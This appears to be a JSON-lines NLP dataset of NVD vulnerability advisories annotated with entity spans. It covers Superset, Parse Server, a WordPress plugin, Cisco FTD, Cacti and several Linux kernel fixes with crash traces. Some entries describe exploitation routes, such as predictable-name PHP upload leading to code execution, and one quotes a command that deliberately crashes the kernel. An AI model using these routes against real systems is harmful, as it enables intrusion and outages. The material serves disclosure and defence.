{"text": "Session Validation attacks in Apache Superset versions up to and including 2.0.1. Installations that have not altered the default configured SECRET_KEY according to installation instructions allow for an attacker to authenticate and access unauthorized resources. This does not affect Superset administrators who have changed the default value for SECRET_KEY config.\n\nAll superset installations should always set a unique secure random SECRET_KEY. Your SECRET_KEY is used to securely sign all session cookies and encrypting sensitive information on the database.\nAdd a strong SECRET_KEY to your `superset_config.py` file like:\n\nSECRET_KEY = <YOUR_OWN_RANDOM_GENERATED_SECRET_KEY>\n\nAlternatively you can set it with `SUPERSET_SECRET_KEY` environment variable.", "spans": {"FILEPATH: superset_config.py": [[596, 614]], "SYSTEM: Apache Superset": [[30, 45]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-27524"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.5 and 8.6.31, a SQL injection vulnerability exists in the PostgreSQL storage adapter when processing Increment operations on nested object fields using dot notation (e.g., stats.counter). The sub-key name is interpolated directly into SQL string literals without escaping. An attacker who can send write requests to the Parse Server REST API can inject arbitrary SQL via a crafted sub-key name containing single quotes, potentially executing commands or reading data from the database, bypassing CLPs and ACLs. Only Postgres deployments are affected. This vulnerability is fixed in 9.6.0-alpha.5 and 8.6.31.", "spans": {"FILEPATH: Node.js": [[95, 102]], "SYSTEM: PostgreSQL": [[183, 193]], "VULNERABILITY: SQL injection": [[141, 154]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31871"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: make cow_file_range_inline() honor locked_page on error\n\nThe btrfs buffered write path runs through __extent_writepage() which\nhas some tricky return value handling for writepage_delalloc().\nSpecifically, when that returns 1, we exit, but for other return values\nwe continue and end up calling btrfs_folio_end_all_writers(). If the\nfolio has been unlocked (note that we check the PageLocked bit at the\nstart of __extent_writepage()), this results in an assert panic like\nthis one from syzbot:\n\n  BTRFS: error (device loop0 state EAL) in free_log_tree:3267: errno=-5 IO failure\n  BTRFS warning (device loop0 state EAL): Skipping commit of aborted transaction.\n  BTRFS: error (device loop0 state EAL) in cleanup_transaction:2018: errno=-5 IO failure\n  assertion failed: folio_test_locked(folio), in fs/btrfs/subpage.c:871\n  ------------[ cut here ]------------\n  kernel BUG at fs/btrfs/subpage.c:871!\n  Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI\n  CPU: 1 PID: 5090 Comm: syz-executor225 Not tainted\n  6.10.0-syzkaller-05505-gb1bc554e009e #0\n  Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS\n  Google 06/27/2024\n  RIP: 0010:btrfs_folio_end_all_writers+0x55b/0x610 fs/btrfs/subpage.c:871\n  Code: e9 d3 fb ff ff e8 25 22 c2 fd 48 c7 c7 c0 3c 0e 8c 48 c7 c6 80 3d\n  0e 8c 48 c7 c2 60 3c 0e 8c b9 67 03 00 00 e8 66 47 ad 07 90 <0f> 0b e8\n  6e 45 b0 07 4c 89 ff be 08 00 00 00 e8 21 12 25 fe 4c 89\n  RSP: 0018:ffffc900033d72e0 EFLAGS: 00010246\n  RAX: 0000000000000045 RBX: 00fff0000000402c RCX: 663b7a08c50a0a00\n  RDX: 0000000000000000 RSI: 0000000080000000 RDI: 0000000000000000\n  RBP: ffffc900033d73b0 R08: ffffffff8176b98c R09: 1ffff9200067adfc\n  R10: dffffc0000000000 R11: fffff5200067adfd R12: 0000000000000001\n  R13: dffffc0000000000 R14: 0000000000000000 R15: ffffea0001cbee80\n  FS:  0000000000000000(0000) GS:ffff8880b9500000(0000)\n  knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 00007f5f076012f8 CR3: 000000000e134000 CR4: 00000000003506f0\n  DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n  DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n  Call Trace:\n  <TASK>\n  __extent_writepage fs/btrfs/extent_io.c:1597 [inline]\n  extent_write_cache_pages fs/btrfs/extent_io.c:2251 [inline]\n  btrfs_writepages+0x14d7/0x2760 fs/btrfs/extent_io.c:2373\n  do_writepages+0x359/0x870 mm/page-writeback.c:2656\n  filemap_fdatawrite_wbc+0x125/0x180 mm/filemap.c:397\n  __filemap_fdatawrite_range mm/filemap.c:430 [inline]\n  __filemap_fdatawrite mm/filemap.c:436 [inline]\n  filemap_flush+0xdf/0x130 mm/filemap.c:463\n  btrfs_release_file+0x117/0x130 fs/btrfs/file.c:1547\n  __fput+0x24a/0x8a0 fs/file_table.c:422\n  task_work_run+0x24f/0x310 kernel/task_work.c:222\n  exit_task_work include/linux/task_work.h:40 [inline]\n  do_exit+0xa2f/0x27f0 kernel/exit.c:877\n  do_group_exit+0x207/0x2c0 kernel/exit.c:1026\n  __do_sys_exit_group kernel/exit.c:1037 [inline]\n  __se_sys_exit_group kernel/exit.c:1035 [inline]\n  __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1035\n  x64_sys_call+0x2634/0x2640\n  arch/x86/include/generated/asm/syscalls_64.h:232\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n  entry_SYSCALL_64_after_hwframe+0x77/0x7f\n  RIP: 0033:0x7f5f075b70c9\n  Code: Unable to access opcode bytes at\n  0x7f5f075b709f.\n\nI was hitting the same issue by doing hundreds of accelerated runs of\ngeneric/475, which also hits IO errors by design.\n\nI instrumented that reproducer with bpftrace and found that the\nundesirable folio_unlock was coming from the following callstack:\n\n  folio_unlock+5\n  __process_pages_contig+475\n  cow_file_range_inline.constprop.0+230\n  cow_file_range+803\n  btrfs_run_delalloc_range+566\n  writepage_delalloc+332\n  __extent_writepage # inlined in my stacktrace, but I added it here\n  extent_write_cache_pages+622\n\nLooking at the bisected-to pa\n---truncated---", "spans": {"FILEPATH: /btrfs/subpage.c": [[875, 891], [953, 969], [1274, 1290]], "FILEPATH: /27/2024": [[1211, 1219]], "FILEPATH: /btrfs/extent_io.c": [[2270, 2288], [2332, 2350], [2400, 2418]], "FILEPATH: /btrfs/file.c": [[2714, 2727]], "FILEPATH: /linux/task_work.h": [[2849, 2867]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[3155, 3195]], "FILEPATH: /x86/entry/common.c": [[3221, 3240], [3284, 3303]], "FILEPATH: writeback.c": [[2460, 2471]], "FILEPATH: filemap.c": [[2517, 2526], [2563, 2572], [2612, 2621], [2665, 2674]], "FILEPATH: file_table.c": [[2757, 2769]], "FILEPATH: task_work.c": [[2809, 2820]], "FILEPATH: exit.c": [[2910, 2916], [2956, 2962], [2997, 3003], [3047, 3053], [3108, 3114]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1143, 1149], [1150, 1156], [1172, 1178], [1202, 1208]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42266"}}
{"text": "The SureMail – SMTP and Email Logs Plugin for WordPress is vulnerable to Unrestricted Upload of File with Dangerous Type in versions up to and including 1.9.0. This is due to the plugin's save_file() function in inc/emails/handler/uploads.php which duplicates all email attachments to a web-accessible directory (wp-content/uploads/suremails/attachments/) without validating file extensions or content types. Files are saved with predictable names derived from MD5 hashes of their content. While the plugin attempts to protect this directory with an Apache .htaccess file to disable PHP execution, this protection is ineffective on nginx, IIS, and Lighttpd servers, or on misconfigured Apache installations. This makes it possible for unauthenticated attackers to achieve Remote Code Execution by uploading malicious PHP files through any public form that emails attachments, calculating the predictable filename, and directly accessing the file to execute arbitrary code granted they are exploiting a site running on an affected web server configuration.", "spans": {"FILEPATH: /emails/handler/uploads.php": [[215, 242]], "FILEPATH: /uploads/suremails/attachments": [[323, 353]], "SYSTEM: WordPress": [[46, 55]], "SYSTEM: nginx": [[632, 637]], "SYSTEM: IIS": [[639, 642]], "SYSTEM: PHP": [[583, 586], [817, 820]], "ORGANIZATION: Apache": [[550, 556], [686, 692]], "VULNERABILITY: Remote Code Execution": [[772, 793]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-13516"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: VMAP_STACK overflow detection thread-safe\n\ncommit 31da94c25aea (\"riscv: add VMAP_STACK overflow detection\") added\nsupport for CONFIG_VMAP_STACK. If overflow is detected, CPU switches to\n`shadow_stack` temporarily before switching finally to per-cpu\n`overflow_stack`.\n\nIf two CPUs/harts are racing and end up in over flowing kernel stack, one\nor both will end up corrupting each other state because `shadow_stack` is\nnot per-cpu. This patch optimizes per-cpu overflow stack switch by\ndirectly picking per-cpu `overflow_stack` and gets rid of `shadow_stack`.\n\nFollowing are the changes in this patch\n\n - Defines an asm macro to obtain per-cpu symbols in destination\n   register.\n - In entry.S, when overflow is detected, per-cpu overflow stack is\n   located using per-cpu asm macro. Computing per-cpu symbol requires\n   a temporary register. x31 is saved away into CSR_SCRATCH\n   (CSR_SCRATCH is anyways zero since we're in kernel).\n\nPlease see Links for additional relevant disccussion and alternative\nsolution.\n\nTested by `echo EXHAUST_STACK > /sys/kernel/debug/provoke-crash/DIRECT`\nKernel crash log below\n\n Insufficient stack space to handle exception!/debug/provoke-crash/DIRECT\n Task stack:     [0xff20000010a98000..0xff20000010a9c000]\n Overflow stack: [0xff600001f7d98370..0xff600001f7d99370]\n CPU: 1 PID: 205 Comm: bash Not tainted 6.1.0-rc2-00001-g328a1f96f7b9 #34\n Hardware name: riscv-virtio,qemu (DT)\n epc : __memset+0x60/0xfc\n  ra : recursive_loop+0x48/0xc6 [lkdtm]\n epc : ffffffff808de0e4 ra : ffffffff0163a752 sp : ff20000010a97e80\n  gp : ffffffff815c0330 tp : ff600000820ea280 t0 : ff20000010a97e88\n  t1 : 000000000000002e t2 : 3233206874706564 s0 : ff20000010a982b0\n  s1 : 0000000000000012 a0 : ff20000010a97e88 a1 : 0000000000000000\n  a2 : 0000000000000400 a3 : ff20000010a98288 a4 : 0000000000000000\n  a5 : 0000000000000000 a6 : fffffffffffe43f0 a7 : 00007fffffffffff\n  s2 : ff20000010a97e88 s3 : ffffffff01644680 s4 : ff20000010a9be90\n  s5 : ff600000842ba6c0 s6 : 00aaaaaac29e42b0 s7 : 00fffffff0aa3684\n  s8 : 00aaaaaac2978040 s9 : 0000000000000065 s10: 00ffffff8a7cad10\n  s11: 00ffffff8a76a4e0 t3 : ffffffff815dbaf4 t4 : ffffffff815dbaf4\n  t5 : ffffffff815dbab8 t6 : ff20000010a9bb48\n status: 0000000200000120 badaddr: ff20000010a97e88 cause: 000000000000000f\n Kernel panic - not syncing: Kernel stack overflow\n CPU: 1 PID: 205 Comm: bash Not tainted 6.1.0-rc2-00001-g328a1f96f7b9 #34\n Hardware name: riscv-virtio,qemu (DT)\n Call Trace:\n [<ffffffff80006754>] dump_backtrace+0x30/0x38\n [<ffffffff808de798>] show_stack+0x40/0x4c\n [<ffffffff808ea2a8>] dump_stack_lvl+0x44/0x5c\n [<ffffffff808ea2d8>] dump_stack+0x18/0x20\n [<ffffffff808dec06>] panic+0x126/0x2fe\n [<ffffffff800065ea>] walk_stackframe+0x0/0xf0\n [<ffffffff0163a752>] recursive_loop+0x48/0xc6 [lkdtm]\n SMP: stopping secondary CPUs\n ---[ end Kernel panic - not syncing: Kernel stack overflow ]---", "spans": {"FILEPATH: /sys/kernel/debug/provoke-crash/DIRECT": [[1120, 1158]], "FILEPATH: /debug/provoke-crash/DIRECT": [[1230, 1257]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: stack overflow": [[2391, 2405], [2929, 2943]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52761"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbdev: simplefb: Fix use after free in simplefb_detach_genpds()\n\nThe pm_domain cleanup can not be devres managed as it uses struct\nsimplefb_par which is allocated within struct fb_info by\nframebuffer_alloc(). This allocation is explicitly freed by\nunregister_framebuffer() in simplefb_remove().\nDevres managed cleanup runs after the device remove call and thus can no\nlonger access struct simplefb_par.\nCall simplefb_detach_genpds() explicitly from simplefb_destroy() like\nthe cleanup functions for clocks and regulators.\n\nFixes an use after free on M2 Mac mini during\naperture_remove_conflicting_devices() using the downstream asahi kernel\nwith Debian's kernel config. For unknown reasons this started to\nconsistently dereference an invalid pointer in v6.16.3 based kernels.\n\n[    6.736134] BUG: KASAN: slab-use-after-free in simplefb_detach_genpds+0x58/0x220\n[    6.743545] Read of size 4 at addr ffff8000304743f0 by task (udev-worker)/227\n[    6.750697]\n[    6.752182] CPU: 6 UID: 0 PID: 227 Comm: (udev-worker) Tainted: G S                  6.16.3-asahi+ #16 PREEMPTLAZY\n[    6.752186] Tainted: [S]=CPU_OUT_OF_SPEC\n[    6.752187] Hardware name: Apple Mac mini (M2, 2023) (DT)\n[    6.752189] Call trace:\n[    6.752190]  show_stack+0x34/0x98 (C)\n[    6.752194]  dump_stack_lvl+0x60/0x80\n[    6.752197]  print_report+0x17c/0x4d8\n[    6.752201]  kasan_report+0xb4/0x100\n[    6.752206]  __asan_report_load4_noabort+0x20/0x30\n[    6.752209]  simplefb_detach_genpds+0x58/0x220\n[    6.752213]  devm_action_release+0x50/0x98\n[    6.752216]  release_nodes+0xd0/0x2c8\n[    6.752219]  devres_release_all+0xfc/0x178\n[    6.752221]  device_unbind_cleanup+0x28/0x168\n[    6.752224]  device_release_driver_internal+0x34c/0x470\n[    6.752228]  device_release_driver+0x20/0x38\n[    6.752231]  bus_remove_device+0x1b0/0x380\n[    6.752234]  device_del+0x314/0x820\n[    6.752238]  platform_device_del+0x3c/0x1e8\n[    6.752242]  platform_device_unregister+0x20/0x50\n[    6.752246]  aperture_detach_platform_device+0x1c/0x30\n[    6.752250]  aperture_detach_devices+0x16c/0x290\n[    6.752253]  aperture_remove_conflicting_devices+0x34/0x50\n...\n[    6.752343]\n[    6.967409] Allocated by task 62:\n[    6.970724]  kasan_save_stack+0x3c/0x70\n[    6.974560]  kasan_save_track+0x20/0x40\n[    6.978397]  kasan_save_alloc_info+0x40/0x58\n[    6.982670]  __kasan_kmalloc+0xd4/0xd8\n[    6.986420]  __kmalloc_noprof+0x194/0x540\n[    6.990432]  framebuffer_alloc+0xc8/0x130\n[    6.994444]  simplefb_probe+0x258/0x2378\n...\n[    7.054356]\n[    7.055838] Freed by task 227:\n[    7.058891]  kasan_save_stack+0x3c/0x70\n[    7.062727]  kasan_save_track+0x20/0x40\n[    7.066565]  kasan_save_free_info+0x4c/0x80\n[    7.070751]  __kasan_slab_free+0x6c/0xa0\n[    7.074675]  kfree+0x10c/0x380\n[    7.077727]  framebuffer_release+0x5c/0x90\n[    7.081826]  simplefb_destroy+0x1b4/0x2c0\n[    7.085837]  put_fb_info+0x98/0x100\n[    7.089326]  unregister_framebuffer+0x178/0x320\n[    7.093861]  simplefb_remove+0x3c/0x60\n[    7.097611]  platform_remove+0x60/0x98\n[    7.101361]  device_remove+0xb8/0x160\n[    7.105024]  device_release_driver_internal+0x2fc/0x470\n[    7.110256]  device_release_driver+0x20/0x38\n[    7.114529]  bus_remove_device+0x1b0/0x380\n[    7.118628]  device_del+0x314/0x820\n[    7.122116]  platform_device_del+0x3c/0x1e8\n[    7.126302]  platform_device_unregister+0x20/0x50\n[    7.131012]  aperture_detach_platform_device+0x1c/0x30\n[    7.136157]  aperture_detach_devices+0x16c/0x290\n[    7.140779]  aperture_remove_conflicting_devices+0x34/0x50\n...", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Debian": [[715, 721]], "ORGANIZATION: Apple": [[1218, 1223]], "VULNERABILITY: use after free": [[90, 104], [601, 615]], "VULNERABILITY: use-after-free": [[878, 892]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40037"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndmaengine: idxd: Convert spinlock to mutex to lock evl workqueue\n\ndrain_workqueue() cannot be called safely in a spinlocked context due to\npossible task rescheduling. In the multi-task scenario, calling\nqueue_work() while drain_workqueue() will lead to a Call Trace as\npushing a work on a draining workqueue is not permitted in spinlocked\ncontext.\n    Call Trace:\n    <TASK>\n    ? __warn+0x7d/0x140\n    ? __queue_work+0x2b2/0x440\n    ? report_bug+0x1f8/0x200\n    ? handle_bug+0x3c/0x70\n    ? exc_invalid_op+0x18/0x70\n    ? asm_exc_invalid_op+0x1a/0x20\n    ? __queue_work+0x2b2/0x440\n    queue_work_on+0x28/0x30\n    idxd_misc_thread+0x303/0x5a0 [idxd]\n    ? __schedule+0x369/0xb40\n    ? __pfx_irq_thread_fn+0x10/0x10\n    ? irq_thread+0xbc/0x1b0\n    irq_thread_fn+0x21/0x70\n    irq_thread+0x102/0x1b0\n    ? preempt_count_add+0x74/0xa0\n    ? __pfx_irq_thread_dtor+0x10/0x10\n    ? __pfx_irq_thread+0x10/0x10\n    kthread+0x103/0x140\n    ? __pfx_kthread+0x10/0x10\n    ret_from_fork+0x31/0x50\n    ? __pfx_kthread+0x10/0x10\n    ret_from_fork_asm+0x1b/0x30\n    </TASK>\n\nThe current implementation uses a spinlock to protect event log workqueue\nand will lead to the Call Trace due to potential task rescheduling.\n\nTo address the locking issue, convert the spinlock to mutex, allowing\nthe drain_workqueue() to be called in a safe mutex-locked context.\n\nThis change ensures proper synchronization when accessing the event log\nworkqueue, preventing potential Call Trace and improving the overall\nrobustness of the code.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35991"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: appletalk: Fix use-after-free in AARP proxy probe\n\nThe AARP proxy‐probe routine (aarp_proxy_probe_network) sends a probe,\nreleases the aarp_lock, sleeps, then re-acquires the lock.  During that\nwindow an expire timer thread (__aarp_expire_timer) can remove and\nkfree() the same entry, leading to a use-after-free.\n\nrace condition:\n\n         cpu 0                          |            cpu 1\n    atalk_sendmsg()                     |   atif_proxy_probe_device()\n    aarp_send_ddp()                     |   aarp_proxy_probe_network()\n    mod_timer()                         |   lock(aarp_lock) // LOCK!!\n    timeout around 200ms                |   alloc(aarp_entry)\n    and then call                       |   proxies[hash] = aarp_entry\n    aarp_expire_timeout()               |   aarp_send_probe()\n                                        |   unlock(aarp_lock) // UNLOCK!!\n    lock(aarp_lock) // LOCK!!           |   msleep(100);\n    __aarp_expire_timer(&proxies[ct])   |\n    free(aarp_entry)                    |\n    unlock(aarp_lock) // UNLOCK!!       |\n                                        |   lock(aarp_lock) // LOCK!!\n                                        |   UAF aarp_entry !!\n\n==================================================================\nBUG: KASAN: slab-use-after-free in aarp_proxy_probe_network+0x560/0x630 net/appletalk/aarp.c:493\nRead of size 4 at addr ffff8880123aa360 by task repro/13278\n\nCPU: 3 UID: 0 PID: 13278 Comm: repro Not tainted 6.15.2 #3 PREEMPT(full)\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x116/0x1b0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:408 [inline]\n print_report+0xc1/0x630 mm/kasan/report.c:521\n kasan_report+0xca/0x100 mm/kasan/report.c:634\n aarp_proxy_probe_network+0x560/0x630 net/appletalk/aarp.c:493\n atif_proxy_probe_device net/appletalk/ddp.c:332 [inline]\n atif_ioctl+0xb58/0x16c0 net/appletalk/ddp.c:857\n atalk_ioctl+0x198/0x2f0 net/appletalk/ddp.c:1818\n sock_do_ioctl+0xdc/0x260 net/socket.c:1190\n sock_ioctl+0x239/0x6a0 net/socket.c:1311\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:906 [inline]\n __se_sys_ioctl fs/ioctl.c:892 [inline]\n __x64_sys_ioctl+0x194/0x200 fs/ioctl.c:892\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcb/0x250 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n </TASK>\n\nAllocated:\n aarp_alloc net/appletalk/aarp.c:382 [inline]\n aarp_proxy_probe_network+0xd8/0x630 net/appletalk/aarp.c:468\n atif_proxy_probe_device net/appletalk/ddp.c:332 [inline]\n atif_ioctl+0xb58/0x16c0 net/appletalk/ddp.c:857\n atalk_ioctl+0x198/0x2f0 net/appletalk/ddp.c:1818\n\nFreed:\n kfree+0x148/0x4d0 mm/slub.c:4841\n __aarp_expire net/appletalk/aarp.c:90 [inline]\n __aarp_expire_timer net/appletalk/aarp.c:261 [inline]\n aarp_expire_timeout+0x480/0x6e0 net/appletalk/aarp.c:317\n\nThe buggy address belongs to the object at ffff8880123aa300\n which belongs to the cache kmalloc-192 of size 192\nThe buggy address is located 96 bytes inside of\n freed 192-byte region [ffff8880123aa300, ffff8880123aa3c0)\n\nMemory state around the buggy address:\n ffff8880123aa200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n ffff8880123aa280: 00 00 00 00 fc fc fc fc fc fc fc fc fc fc fc fc\n>ffff8880123aa300: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n                                                       ^\n ffff8880123aa380: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc\n ffff8880123aa400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n==================================================================", "spans": {"FILEPATH: /appletalk/aarp.c": [[1403, 1420], [1864, 1881], [2478, 2495], [2549, 2566], [2788, 2805], [2842, 2859], [2909, 2926]], "FILEPATH: /kasan/report.c": [[1700, 1715], [1756, 1771], [1803, 1818]], "FILEPATH: /appletalk/ddp.c": [[1914, 1930], [1972, 1988], [2021, 2037], [2599, 2615], [2657, 2673], [2706, 2722]], "FILEPATH: /x86/entry/syscall_64.c": [[2307, 2330], [2373, 2396]], "FILEPATH: dump_stack.c": [[1597, 1609], [1654, 1666]], "FILEPATH: socket.c": [[2073, 2081], [2115, 2123]], "FILEPATH: ioctl.c": [[2143, 2150], [2182, 2189], [2222, 2229], [2275, 2282]], "FILEPATH: slub.c": [[2758, 2764]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[89, 103], [372, 386], [1345, 1359]], "VULNERABILITY: race condition": [[389, 403]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38666"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: Fix infinite recursion in fib6_dump_done().\n\nsyzkaller reported infinite recursive calls of fib6_dump_done() during\nnetlink socket destruction.  [1]\n\nFrom the log, syzkaller sent an AF_UNSPEC RTM_GETROUTE message, and then\nthe response was generated.  The following recvmmsg() resumed the dump\nfor IPv6, but the first call of inet6_dump_fib() failed at kzalloc() due\nto the fault injection.  [0]\n\n  12:01:34 executing program 3:\n  r0 = socket$nl_route(0x10, 0x3, 0x0)\n  sendmsg$nl_route(r0, ... snip ...)\n  recvmmsg(r0, ... snip ...) (fail_nth: 8)\n\nHere, fib6_dump_done() was set to nlk_sk(sk)->cb.done, and the next call\nof inet6_dump_fib() set it to nlk_sk(sk)->cb.args[3].  syzkaller stopped\nreceiving the response halfway through, and finally netlink_sock_destruct()\ncalled nlk_sk(sk)->cb.done().\n\nfib6_dump_done() calls fib6_dump_end() and nlk_sk(sk)->cb.done() if it\nis still not NULL.  fib6_dump_end() rewrites nlk_sk(sk)->cb.done() by\nnlk_sk(sk)->cb.args[3], but it has the same function, not NULL, calling\nitself recursively and hitting the stack guard page.\n\nTo avoid the issue, let's set the destructor after kzalloc().\n\n[0]:\nFAULT_INJECTION: forcing a failure.\nname failslab, interval 1, probability 0, space 0, times 0\nCPU: 1 PID: 432110 Comm: syz-executor.3 Not tainted 6.8.0-12821-g537c2e91d354-dirty #11\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl (lib/dump_stack.c:117)\n should_fail_ex (lib/fault-inject.c:52 lib/fault-inject.c:153)\n should_failslab (mm/slub.c:3733)\n kmalloc_trace (mm/slub.c:3748 mm/slub.c:3827 mm/slub.c:3992)\n inet6_dump_fib (./include/linux/slab.h:628 ./include/linux/slab.h:749 net/ipv6/ip6_fib.c:662)\n rtnl_dump_all (net/core/rtnetlink.c:4029)\n netlink_dump (net/netlink/af_netlink.c:2269)\n netlink_recvmsg (net/netlink/af_netlink.c:1988)\n ____sys_recvmsg (net/socket.c:1046 net/socket.c:2801)\n ___sys_recvmsg (net/socket.c:2846)\n do_recvmmsg (net/socket.c:2943)\n __x64_sys_recvmmsg (net/socket.c:3041 net/socket.c:3034 net/socket.c:3034)\n\n[1]:\nBUG: TASK stack guard page was hit at 00000000f2fa9af1 (stack is 00000000b7912430..000000009a436beb)\nstack guard page: 0000 [#1] PREEMPT SMP KASAN\nCPU: 1 PID: 223719 Comm: kworker/1:3 Not tainted 6.8.0-12821-g537c2e91d354-dirty #11\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014\nWorkqueue: events netlink_sock_destruct_work\nRIP: 0010:fib6_dump_done (net/ipv6/ip6_fib.c:570)\nCode: 3c 24 e8 f3 e9 51 fd e9 28 fd ff ff 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 41 57 41 56 41 55 41 54 55 48 89 fd <53> 48 8d 5d 60 e8 b6 4d 07 fd 48 89 da 48 b8 00 00 00 00 00 fc ff\nRSP: 0018:ffffc9000d980000 EFLAGS: 00010293\nRAX: 0000000000000000 RBX: ffffffff84405990 RCX: ffffffff844059d3\nRDX: ffff8881028e0000 RSI: ffffffff84405ac2 RDI: ffff88810c02f358\nRBP: ffff88810c02f358 R08: 0000000000000007 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000224 R12: 0000000000000000\nR13: ffff888007c82c78 R14: ffff888007c82c68 R15: ffff888007c82c68\nFS:  0000000000000000(0000) GS:ffff88811b100000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: ffffc9000d97fff8 CR3: 0000000102309002 CR4: 0000000000770ef0\nPKRU: 55555554\nCall Trace:\n <#DF>\n </#DF>\n <TASK>\n fib6_dump_done (net/ipv6/ip6_fib.c:572 (discriminator 1))\n fib6_dump_done (net/ipv6/ip6_fib.c:572 (discriminator 1))\n ...\n fib6_dump_done (net/ipv6/ip6_fib.c:572 (discriminator 1))\n fib6_dump_done (net/ipv6/ip6_fib.c:572 (discriminator 1))\n netlink_sock_destruct (net/netlink/af_netlink.c:401)\n __sk_destruct (net/core/sock.c:2177 (discriminator 2))\n sk_destruct (net/core/sock.c:2224)\n __sk_free (net/core/sock.c:2235)\n sk_free (net/core/sock.c:2246)\n process_one_work (kernel/workqueue.c:3259)\n worker_thread (kernel/workqueue.c:3329 kernel/workqueue.\n---truncated---", "spans": {"DOMAIN: rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org": [[1455, 1499], [2460, 2504]], "FILEPATH: /01/2014": [[1502, 1510], [2507, 2515]], "FILEPATH: /include/linux/slab.h": [[1747, 1768], [1774, 1795]], "FILEPATH: /ipv6/ip6_fib.c": [[1803, 1818], [2590, 2605], [3448, 3463], [3507, 3522], [3571, 3586], [3630, 3645]], "FILEPATH: /core/rtnetlink.c": [[1843, 1860]], "FILEPATH: /netlink/af_netlink.c": [[1885, 1906], [1934, 1955], [3696, 3717]], "FILEPATH: /core/sock.c": [[3742, 3754], [3796, 3808], [3830, 3842], [3862, 3874]], "FILEPATH: dump_stack.c": [[1552, 1564]], "FILEPATH: inject.c": [[1597, 1605], [1619, 1627]], "FILEPATH: slub.c": [[1654, 1660], [1686, 1692], [1701, 1707], [1716, 1722]], "FILEPATH: socket.c": [[1984, 1992], [2002, 2010], [2038, 2046], [2071, 2079], [2111, 2119], [2129, 2137], [2147, 2155]], "FILEPATH: workqueue.c": [[3907, 3918], [3948, 3959]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1410, 1414], [2415, 2419]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35886"}}
{"text": "A vulnerability in how Cisco Firepower Threat Defense (FTD) Software handles session timeouts for management connections could allow an unauthenticated, remote attacker to cause a buildup of remote management connections to an affected device, which could result in a denial of service (DoS) condition. The vulnerability exists because the default session timeout period for specific to-the-box remote management connections is too long. An attacker could exploit this vulnerability by sending a large and sustained number of crafted remote management connections to an affected device, resulting in a buildup of those connections over time. A successful exploit could allow the attacker to cause the remote management interface or Cisco Firepower Device Manager (FDM) to stop responding and cause other management functions to go offline, resulting in a DoS condition. The user traffic that is flowing through the device would not be affected, and the DoS condition would be isolated to remote management only.", "spans": {"SYSTEM: Cisco Firepower": [[23, 38], [732, 747]], "VULNERABILITY: denial of service": [[268, 285]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3188"}}
{"text": "Cacti is an open source operational monitoring and fault management framework. Affected versions are subject to a Stored Cross-Site-Scripting (XSS) Vulnerability allows an authenticated user to poison data stored in the _cacti_'s database. These data will be viewed by administrative _cacti_ accounts and execute JavaScript code in the victim's browser at view-time. The `data_sources.php` script displays the data source management information (e.g. data source path, polling configuration etc.) for different data visualizations of the _cacti_ app. \nCENSUS found that an adversary that is able to configure a malicious Device name, can deploy a stored XSS attack against any user of the same (or broader) privileges. A user that possesses the _General Administration>Sites/Devices/Data_ permissions can configure the device names in _cacti_. This configuration occurs through `http://<HOST>/cacti/host.php`, while the rendered malicious payload is exhibited at `http://<HOST>/cacti/data_sources.php`. This vulnerability has been addressed in version 1.2.25. Users are advised to upgrade. Users unable to update should manually filter HTML output.", "spans": {"FILEPATH: 